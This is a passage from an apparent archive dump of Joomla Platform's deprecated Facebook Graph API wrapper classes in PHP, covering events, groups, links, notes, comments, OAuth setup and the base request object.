* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($comment, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($comment, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on a comment. Requires authentication with
publish_stream permission.
*
* @param string $comment The comment id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($comment, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($comment, 'comments', $data);
}
/**
* Method to get comment's likes. Requires authentication.
*
* @param string $comment The comment id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($comment, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($comment, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a comment. Requires authentication and publish_stram
permission.
*
* @param string $comment The comment id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($comment)
{
return $this->createConnection($comment, 'likes');
}
/**
* Method to unlike a comment. Requires authentication and publish_stram
permission.
*
* @param string $comment The comment id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($comment)
{
return $this->deleteConnection($comment, 'likes');
}
}
facebook/event.php000064400000040444151171674100010160 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API User class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/event/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookEvent extends JFacebookObject
{
/**
* Method to get information about an event visible to the current user.
Requires authentication.
*
* @param string $event The event id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getEvent($event)
{
return $this->get($event);
}
/**
* Method to get the event's wall. Requires authentication.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFeed($event, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($event, 'feed', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a link on event's feed which the current_user is or
maybe attending. Requires authentication and publish_stream permission.
*
* @param string $event The event id.
* @param string $link Link URL.
* @param string $message Link message.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLink($event, $link, $message = null)
{
// Set POST request parameters.
$data = array();
$data['link'] = $link;
$data['message'] = $message;
return $this->createConnection($event, 'feed', $data);
}
/**
* Method to delete a link. Requires authentication and publish_stream
permission.
*
* @param mixed $link The Link ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLink($link)
{
return $this->deleteConnection($link);
}
/**
* Method to post on event's wall. Message or link parameter is
required. Requires authentication and publish_stream permission.
*
* @param string $event The event id.
* @param string $message Post message.
* @param string $link Post URL.
* @param string $picture Post thumbnail image (can only be used
if link is specified)
* @param string $name Post name (can only be used if link is
specified).
* @param string $caption Post caption (can only be used if link
is specified).
* @param string $description Post description (can only be used if
link is specified).
* @param array $actions Post actions array of objects containing
name and link.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPost($event, $message = null, $link = null, $picture
= null, $name = null, $caption = null,
$description = null, $actions = null)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
$data['link'] = $link;
$data['name'] = $name;
$data['caption'] = $caption;
$data['description'] = $description;
$data['actions'] = $actions;
$data['picture'] = $picture;
return $this->createConnection($event, 'feed', $data);
}
/**
* Method to delete a post. Note: you can only delete the post if it was
created by the current user.
* Requires authentication and publish_stream permission.
*
* @param string $post The Post ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to post a status message on behalf of the user on the
event's wall. Requires authentication and publish_stream permission.
*
* @param string $event The event id.
* @param string $message Status message content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createStatus($event, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($event, 'feed', $data);
}
/**
* Method to delete a status. Note: you can only delete the post if it was
created by the current user.
* Requires authentication and publish_stream permission.
*
* @param string $status The Status ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteStatus($status)
{
return $this->deleteConnection($status);
}
/**
* Method to get the list of invitees for the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getInvited($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'invited', '',
$limit, $offset);
}
/**
* Method to check if a user is invited to the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isInvited($event, $user)
{
return $this->getConnection($event, 'invited/' . $user);
}
/**
* Method to invite users to the event. Requires authentication and
create_event permission.
*
* @param string $event The event id.
* @param string $users Comma separated list of user ids.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createInvite($event, $users)
{
// Set POST request parameters.
$data = array();
$data['users'] = $users;
return $this->createConnection($event, 'invited', $data);
}
/**
* Method to delete an invitation. Note: you can only delete the invite if
the current user is the event admin.
* Requires authentication and rsvp_event permission.
*
* @param string $event The event id.
* @param string $user The user id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteInvite($event, $user)
{
return $this->deleteConnection($event, 'invited/' . $user);
}
/**
* Method to get the list of attending users. Requires authentication and
user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getAttending($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'attending',
'', $limit, $offset);
}
/**
* Method to check if a user is attending an event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isAttending($event, $user)
{
return $this->getConnection($event, 'attending/' . $user);
}
/**
* Method to set the current user as attending. Requires authentication
and rsvp_event permission.
*
* @param string $event The event id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createAttending($event)
{
return $this->createConnection($event, 'attending');
}
/**
* Method to get the list of maybe attending users. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMaybe($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'maybe', '',
$limit, $offset);
}
/**
* Method to check if a user is maybe attending an event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isMaybe($event, $user)
{
return $this->getConnection($event, 'maybe/' . $user);
}
/**
* Method to set the current user as maybe attending. Requires
authentication and rscp_event permission.
*
* @param string $event The event id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createMaybe($event)
{
return $this->createConnection($event, 'maybe');
}
/**
* Method to get the list of users which declined the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getDeclined($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'declined',
'', $limit, $offset);
}
/**
* Method to check if a user responded 'no' to the event.
Requires authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isDeclined($event, $user)
{
return $this->getConnection($event, 'declined/' . $user);
}
/**
* Method to set the current user as declined. Requires authentication and
rscp_event permission.
*
* @param string $event The event id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createDeclined($event)
{
return $this->createConnection($event, 'declined');
}
/**
* Method to get the list of users which have not replied to the event.
Requires authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNoreply($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'noreply', '',
$limit, $offset);
}
/**
* Method to check if a user has not replied to the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isNoreply($event, $user)
{
return $this->getConnection($event, 'noreply/' . $user);
}
/**
* Method to get the event's profile picture. Requires authentication
and user_events or friends_events permission.
*
* @param string $event The event id.
* @param boolean $redirect If false this will return the URL of the
picture without a 302 redirect.
* @param string $type To request a different photo use square |
small | normal | large.
*
* @return string The URL to the event's profile picture.
*
* @since 3.2.0
*/
public function getPicture($event, $redirect = true, $type = null)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
if ($type)
{
$extra_fields .= (strpos($extra_fields, '?') === false) ?
'?type=' . $type : '&type=' . $type;
}
return $this->getConnection($event, 'picture',
$extra_fields);
}
/**
* Method to get photos published on event's wall. Requires
authentication.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhotos($event, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($event, 'photos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a photo on event's wall. Requires authentication
and publish_stream permission.
*
* @param string $event The event id.
* @param string $source Path to photo.
* @param string $message Photo description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPhoto($event, $source, $message = null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
if ($message)
{
$data['message'] = $message;
}
return $this->createConnection($event, 'photos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get videos published on event's wall. Requires
authentication.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getVideos($event, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($event, 'videos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a video on event's wall. Requires authentication
and publish_stream permission.
*
* @param string $event The event id.
* @param string $source Path to photo.
* @param string $title Video title.
* @param string $description Video description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createVideo($event, $source, $title = null, $description =
null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
if ($title)
{
$data['title'] = $title;
}
if ($description)
{
$data['description'] = $description;
}
return $this->createConnection($event, 'videos', $data,
array('Content-Type' => 'multipart/form-data'));
}
}
facebook/facebook.php000064400000007634151171674100010614 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Facebook API instance.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebook
{
/**
* @var Registry Options for the Facebook object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JFacebookOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* @var JFacebookUser Facebook API object for user.
* @since 3.2.0
*/
protected $user;
/**
* @var JFacebookStatus Facebook API object for status.
* @since 3.2.0
*/
protected $status;
/**
* @var JFacebookCheckin Facebook API object for checkin.
* @since 3.2.0
*/
protected $checkin;
/**
* @var JFacebookEvent Facebook API object for event.
* @since 3.2.0
*/
protected $event;
/**
* @var JFacebookGroup Facebook API object for group.
* @since 3.2.0
*/
protected $group;
/**
* @var JFacebookLink Facebook API object for link.
* @since 3.2.0
*/
protected $link;
/**
* @var JFacebookNote Facebook API object for note.
* @since 3.2.0
*/
protected $note;
/**
* @var JFacebookPost Facebook API object for post.
* @since 3.2.0
*/
protected $post;
/**
* @var JFacebookComment Facebook API object for comment.
* @since 3.2.0
*/
protected $comment;
/**
* @var JFacebookPhoto Facebook API object for photo.
* @since 3.2.0
*/
protected $photo;
/**
* @var JFacebookVideo Facebook API object for video.
* @since 3.2.0
*/
protected $video;
/**
* @var JFacebookAlbum Facebook API object for album.
* @since 3.2.0
*/
protected $album;
/**
* Constructor.
*
* @param JFacebookOAuth $oauth OAuth client.
* @param Registry $options Facebook options object.
* @param JHttp $client The HTTP client object.
*
* @since 3.2.0
*/
public function __construct(JFacebookOAuth $oauth = null, Registry
$options = null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://graph.facebook.com/');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JFacebookObject Facebook API object (status, user, friends
etc).
*
* @since 3.2.0
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JFacebook' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JFacebook instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JFacebook instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JFacebook This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
facebook/group.php000064400000016171151171674100010173 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Group class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/group/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookGroup extends JFacebookObject
{
/**
* Method to read a group. Requires authentication and user_groups or
friends_groups permission for non-public groups.
*
* @param string $group The group id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getGroup($group)
{
return $this->get($group);
}
/**
* Method to get the group's wall. Requires authentication and
user_groups or friends_groups permission for non-public groups.
*
* @param string $group The group id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFeed($group, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($group, 'feed', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the group's members. Requires authentication and
user_groups or friends_groups permission for non-public groups.
*
* @param string $group The group id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMembers($group, $limit = 0, $offset = 0)
{
return $this->getConnection($group, 'members', '',
$limit, $offset);
}
/**
* Method to get the group's docs. Requires authentication and
user_groups or friends_groups permission for non-public groups.
*
* @param string $group The group id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getDocs($group, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($group, 'docs', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the groups's picture. Requires authentication and
user_groups or friends_groups permission.
*
* @param string $group The group id.
* @param string $type To request a different photo use square |
small | normal | large.
*
* @return string The URL to the group's picture.
*
* @since 3.2.0
*/
public function getPicture($group, $type = null)
{
if ($type)
{
$type = '?type=' . $type;
}
return $this->getConnection($group, 'picture', $type);
}
/**
* Method to post a link on group's wall. Requires authentication and
publish_stream permission.
*
* @param string $group The group id.
* @param string $link Link URL.
* @param string $message Link message.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLink($group, $link, $message = null)
{
// Set POST request parameters.
$data = array();
$data['link'] = $link;
if ($message)
{
$data['message'] = $message;
}
return $this->createConnection($group, 'feed', $data);
}
/**
* Method to delete a link. Requires authentication.
*
* @param mixed $link The Link ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLink($link)
{
return $this->deleteConnection($link);
}
/**
* Method to post on group's wall. Message or link parameter is
required. Requires authentication and publish_stream permission.
*
* @param string $group The group id.
* @param string $message Post message.
* @param string $link Post URL.
* @param string $picture Post thumbnail image (can only be used
if link is specified)
* @param string $name Post name (can only be used if link is
specified).
* @param string $caption Post caption (can only be used if link
is specified).
* @param string $description Post description (can only be used if
link is specified).
* @param array $actions Post actions array of objects containing
name and link.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPost($group, $message = null, $link = null, $picture
= null, $name = null, $caption = null,
$description = null, $actions = null)
{
// Set POST request parameters.
if ($message)
{
$data['message'] = $message;
}
if ($link)
{
$data['link'] = $link;
}
if ($name)
{
$data['name'] = $name;
}
if ($caption)
{
$data['caption'] = $caption;
}
if ($description)
{
$data['description'] = $description;
}
if ($actions)
{
$data['actions'] = $actions;
}
if ($picture)
{
$data['picture'] = $picture;
}
return $this->createConnection($group, 'feed', $data);
}
/**
* Method to delete a post. Note: you can only delete the post if it was
created by the current user. Requires authentication.
*
* @param string $post The Post ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to post a status message on behalf of the user on the
group's wall. Requires authentication and publish_stream permission.
*
* @param string $group The group id.
* @param string $message Status message content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createStatus($group, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($group, 'feed', $data);
}
/**
* Method to delete a status. Note: you can only delete the status if it
was created by the current user. Requires authentication.
*
* @param string $status The Status ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteStatus($status)
{
return $this->deleteConnection($status);
}
}
facebook/link.php000064400000007552151171674100007777 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Link class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/link/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookLink extends JFacebookObject
{
/**
* Method to get a link. Requires authentication and read_stream
permission for non-public links.
*
* @param string $link The link id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLink($link)
{
return $this->get($link);
}
/**
* Method to get a link's comments. Requires authentication and
read_stream permission for non-public links.
*
* @param string $link The link id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($link, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($link, 'comments', '',
$limit, $offset, $until, $since);
}
/**
* Method to comment on a link. Requires authentication and publish_stream
permission.
*
* @param string $link The link id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($link, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($link, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment's id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get link's likes. Requires authentication and
read_stream permission for non-public links.
*
* @param string $link The link id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($link, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($link, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a link. Requires authentication and publish_stream
permission.
*
* @param string $link The link id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($link)
{
return $this->createConnection($link, 'likes');
}
/**
* Method to unlike a link. Requires authentication and publish_stream
permission.
*
* @param string $link The link id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($link)
{
return $this->deleteConnection($link, 'likes');
}
}
facebook/note.php000064400000007775151171674100010016 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Note class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/note/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookNote extends JFacebookObject
{
/**
* Method to get a note. Requires authentication and user_notes or
friends_notes permission for non-public notes.
*
* @param string $note The note id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNote($note)
{
return $this->get($note);
}
/**
* Method to get a note's comments. Requires authentication and
user_notes or friends_notes permission for non-public notes.
*
* @param string $note The note id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($note, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($note, 'comments', '',
$limit, $offset, $until, $since);
}
/**
* Method to comment on a note. Requires authentication and publish_stream
and user_notes or friends_notes permissions.
*
* @param string $note The note id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($note, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($note, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
and user_notes or friends_notes permissions.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get note's likes. Requires authentication and user_notes
or friends_notes for non-public notes.
*
* @param string $note The note id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($note, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($note, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a note. Requires authentication and publish_stream and
user_notes or friends_notes permissions.
*
* @param string $note The note id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($note)
{
return $this->createConnection($note, 'likes');
}
/**
* Method to unlike a note. Requires authentication and publish_stream and
user_notes or friends_notes permissions.
*
* @param string $note The note id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($note)
{
return $this->deleteConnection($note, 'likes');
}
}
facebook/oauth.php000064400000003521151171674100010152 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Facebook API access token.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookOAuth extends JOAuth2Client
{
/**
* @var Registry Options for the JFacebookOAuth object.
* @since 3.2.0
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JFacebookOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null)
{
$this->options = isset($options) ? $options : new Registry;
// Setup the authentication and token urls if not already set.
$this->options->def('authurl',
'http://www.facebook.com/dialog/oauth');
$this->options->def('tokenurl',
'https://graph.facebook.com/oauth/access_token');
// Call the JOAuth2Client constructor to setup the object.
parent::__construct($this->options, $client, $input);
}
/**
* Method used to set permissions.
*
* @param string $scope Comma separated list of permissions.
*
* @return JFacebookOauth This object for method chaining
*
* @since 3.2.0
*/
public function setScope($scope)
{
$this->setOption('scope', $scope);
return $this;
}
/**
* Method to get the current scope
*
* @return string Comma separated list of permissions.
*
* @since 3.2.0
*/
public function getScope()
{
return $this->getOption('scope');
}
}
facebook/object.php000064400000017124151171674100010304 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Facebook API object class for the Joomla Platform.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
abstract class JFacebookObject
{
/**
* @var Registry Options for the Facebook object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JFacebookOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* Constructor.
*
* @param Registry $options Facebook options object.
* @param JHttp $client The HTTP client object.
* @param JFacebookOAuth $oauth The OAuth client.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JFacebookOAuth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Method to build and return a full request URL for the request. This
method will
* add appropriate pagination details if necessary and also prepend the
API url
* to have a complete URL for the request.
*
* @param string $path URL to inflect.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param integer $until A unix timestamp or any date accepted by
strtotime.
* @param integer $since A unix timestamp or any date accepted by
strtotime.
*
* @return string The request URL.
*
* @since 3.2.0
*/
protected function fetchUrl($path, $limit = 0, $offset = 0, $until = null,
$since = null)
{
// Get a new JUri object fousing the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($limit > 0)
{
$uri->setVar('limit', (int) $limit);
}
if ($offset > 0)
{
$uri->setVar('offset', (int) $offset);
}
if ($until != null)
{
$uri->setVar('until', $until);
}
if ($since != null)
{
$uri->setVar('since', $since);
}
return (string) $uri;
}
/**
* Method to send the request.
*
